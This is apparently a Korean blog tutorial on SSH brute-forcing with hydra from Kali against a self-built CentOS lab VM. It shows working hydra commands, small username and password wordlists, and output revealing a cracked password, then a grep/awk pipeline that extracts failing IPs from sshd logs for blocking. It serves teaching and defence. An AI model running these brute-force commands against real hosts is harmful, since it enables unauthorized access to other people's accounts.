Linux/모의해킹

[Kali] hydra 무차별 대입 공격

GGkeeper 2021. 12. 28. 19:44

공격 명령어 : hydra
-l : 사용자
-p : 비밀번호
-L : 사용자 사전 파일
-P : 비밀번호 사전 파일

 

Victim, Target : 피해자(192.168.108.100)
Attacker : 공격자 Kali(192.168.108.102)

[root@web1 ~]# PS1="Victim \W\\$ "
Victim ~# ifconfig ens33:1 192.168.108.100

 

1. 네트워크 설정
CentOS 7을 Victim으로 설정한다.
[root@web1 ~]# PS1="Victim \W\\$ "
Victim ~# ifconfig ens33:1 192.168.108.100
Victim ~# ip a

2. 사용자 생성
무차별 대입 공격에 필요한 사용자 user1/P@ssw0rd 사용자를 생성한다.
Victim ~# useradd user1
Victim ~# echo P@ssw0rd | passwd --stdin user1

 

3. ssh 무차별 대입 공격

- 공격에 실패한 경우(비밀번호를 찾지 못한 경우)
Attacker ~# hydra -l test -p 1234 192.168.108.100 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

....

 

Victim에서 공격에 대한 로그가 아래처럼 기록된다.

Victim ~# tail -f /var/log/messages
Dec 28 18:03:52 web1 sshd[2654]: Invalid user test from 192.168.108.102 port 36252
Dec 28 18:03:52 web1 sshd[2654]: input_userauth_request: invalid user test [preauth]
Dec 28 18:03:52 web1 sshd[2654]: Received disconnect from 192.168.108.102 port 36252:11: Bye Bye [preauth]
Dec 28 18:03:52 web1 sshd[2654]: Disconnected from 192.168.108.102 port 36252 [preauth]
Dec 28 18:03:52 web1 sshd[2656]: Invalid user test from 192.168.108.102 port 36254
Dec 28 18:03:52 web1 sshd[2656]: input_userauth_request: invalid user test [preauth]
Dec 28 18:03:52 web1 sshd[2656]: pam_unix(sshd:auth): check pass; user unknown
Dec 28 18:03:52 web1 sshd[2656]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.108.102
Dec 28 18:03:54 web1 sshd[2656]: Failed password for invalid user test from 192.168.108.102 port 36254 ssh2
Dec 28 18:03:54 web1 sshd[2656]: Connection closed by 192.168.108.102 port 36254 [preauth]


- 공격에 성공한 경우(비밀번호를 찾은 경우)
Attacker ~# hydra -l user1 -p P@ssw0rd 192.168.108.100 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

...

 

Victim에서 공격에 대한 로그가 아래처럼 기록된다.
Victim ~# tail -f /var/log/secure
  :
  :(생략)
Dec 28 18:07:04 web1 sshd[2658]: Received disconnect from 192.168.108.102 port 36256:11: Bye Bye [preauth]
Dec 28 18:07:04 web1 sshd[2658]: Disconnected from 192.168.108.102 port 36256 [preauth]
Dec 28 18:07:04 web1 sshd[2660]: Accepted password for user1 from 192.168.108.102 port 36258 ssh2

 = 접속에 성공을 함
Dec 28 18:07:04 web1 sshd[2660]: pam_unix(sshd:session): session opened for user user1 by (uid=0)
Dec 28 18:07:04 web1 sshd[2660]: pam_unix(sshd:session): session closed for user user1


ssh 명령어나 putty로 정상적으로 접근했을 때의 기록되는 로그
Attacker ~# ssh user1@192.168.108.100
The authenticity of host '192.168.108.100 (192.168.108.100)' can't be established.
ED25519 key fingerprint is SHA256:Pc+rJhzyugAJuUgu81CbxKpHZXV2GHvJkKhQjXgMObk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes   <-- yes를 입력한다.
Warning: Permanently added '192.168.108.100' (ED25519) to the list of known hosts.
user1@192.168.108.100's password:   <-- P@ssw0rd를 입력한다.
Last login: Tue Dec 28 14:05:23 2021
[user1@Victim ~]$ 

 

ssh 명령어나 putty로 정상적으로 접근했을 때의 기록되는 로그
Dec 28 18:10:38 web1 sshd[2666]: Accepted password for user1 from 192.168.108.102 port 36260 ssh2
Dec 28 18:10:38 web1 sshd[2666]: pam_unix(sshd:session): session opened for user user1 by (uid=0)

SSH 접속 후 로그아웃 했을 때의 기록되는 로그
[user1@Victim ~]$ exit


Dec 28 18:12:27 web1 sshd[2670]: Received disconnect from 192.168.108.102 port 36260:11: disconnected by user
Dec 28 18:12:27 web1 sshd[2670]: Disconnected from 192.168.108.102 port 36260
Dec 28 18:12:27 web1 sshd[2666]: pam_unix(sshd:session): session closed for user user1

 

4. 사전 파일을 이용한 공격
사전 파일 : user, password 의 목록을 담아 놓은 파일
사전파일을 이용한 공격
user.txt : 사용자 목록 파일
pass.txt : 비밀번호 목록 파일

Attacker ~# cat << EOF > user.txt
test1
test2
test3
user1
user2
user3
EOF
Attacker ~# cat << END > pass.txt
abc
1234
111111
0000
P@ssw0rd
123456
END
사전 파일을 이용해서 공격한다.
Attacker ~# hydra -L user.txt -P pass.txt 192.168.108.100 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-28 05:21:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 30 login tries (l:6/p:5), ~2 tries per task
[DATA] attacking ssh://192.168.108.100:22/
[22][ssh] host: 192.168.108.100   login: user1   password: P@ssw0rd  <-- 공격에 성공
1 of 1 target successfully completed, 1 valid password found         <-- 공격에 성공
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-28 05:21:33

실습>로그에 실패되는 IP주소를 iptables 에 등록하기

사용자가 공격을 시도하면 로그로 기록되는 경우는 아래 2가지 경우가 있을 수 있다.
- 사용자가 없을 경우
- 비밀번호가 틀린 경우

 

로그 분석 
시스템에 없는 사용자로 접속하는 경우에는 Victim 로그에서 Invalid user 메세지가 로그에 기록된다.
시스템에 있는 사용자로 접속하는 경우에는 Victim 로그에 password check failed 메세지와 
Failed password 메세지가 로그에 기록된다.

 

명령어
grep 
awk

로그파일에서 문자열 'Invalid user'를 검색한다.

Victim ~# grep 'Invalid user' /var/log/secure

 

로그파일에서 문자열 'Failed password'를 검색한다.
Victim ~# grep 'Failed password' /var/log/secure

 

Failed password에서 사용자가 있는 경우
Failed password for user1 from 192.168.108.102 port 38092 ssh2

Failed password에서 사용자가 없는 경우
Failed password for invalid user test3 from 192.168.108.102 port 38080 ssh2


awk : 컬럼을 추출한다. (공백을 기준으로 한다.)

Victim ~# vi awk.txt
aaa bbb ccc ddd eee
111 222 333 444 555

 

awk.txt 파일에서 첫 번째 컬럼을 추출한다.
Victim ~# awk '{print $1}' awk.txt
aaa
111

awk.txt 파일에서 세 번째 컬럼을 추출한다.
Victim ~# awk '{print $3}' awk.txt
ccc
333

 

grep -> awk -> IP주소만 추출한다.

Victim ~# grep 'Failed password for invalid user' /var/log/secure | awk '{print $13}'


sort : 같은 것을 정렬한다.

Victim ~# cat sort.txt 
1
3
5
2
8
4
Victim ~# sort sort.txt 
1
2
3
4
5
8

 

uniq : 중복된 값을 제거한다.

Victim ~# sort sort.txt | uniq

 

여러 개의 IP주소를 하나로 묶어서 중복된 IP주소는 제거한다.
Victim ~# grep 'Failed password for invalid user' /var/log/secure | awk '{print $13}' | sort | uniq

192.168.108.102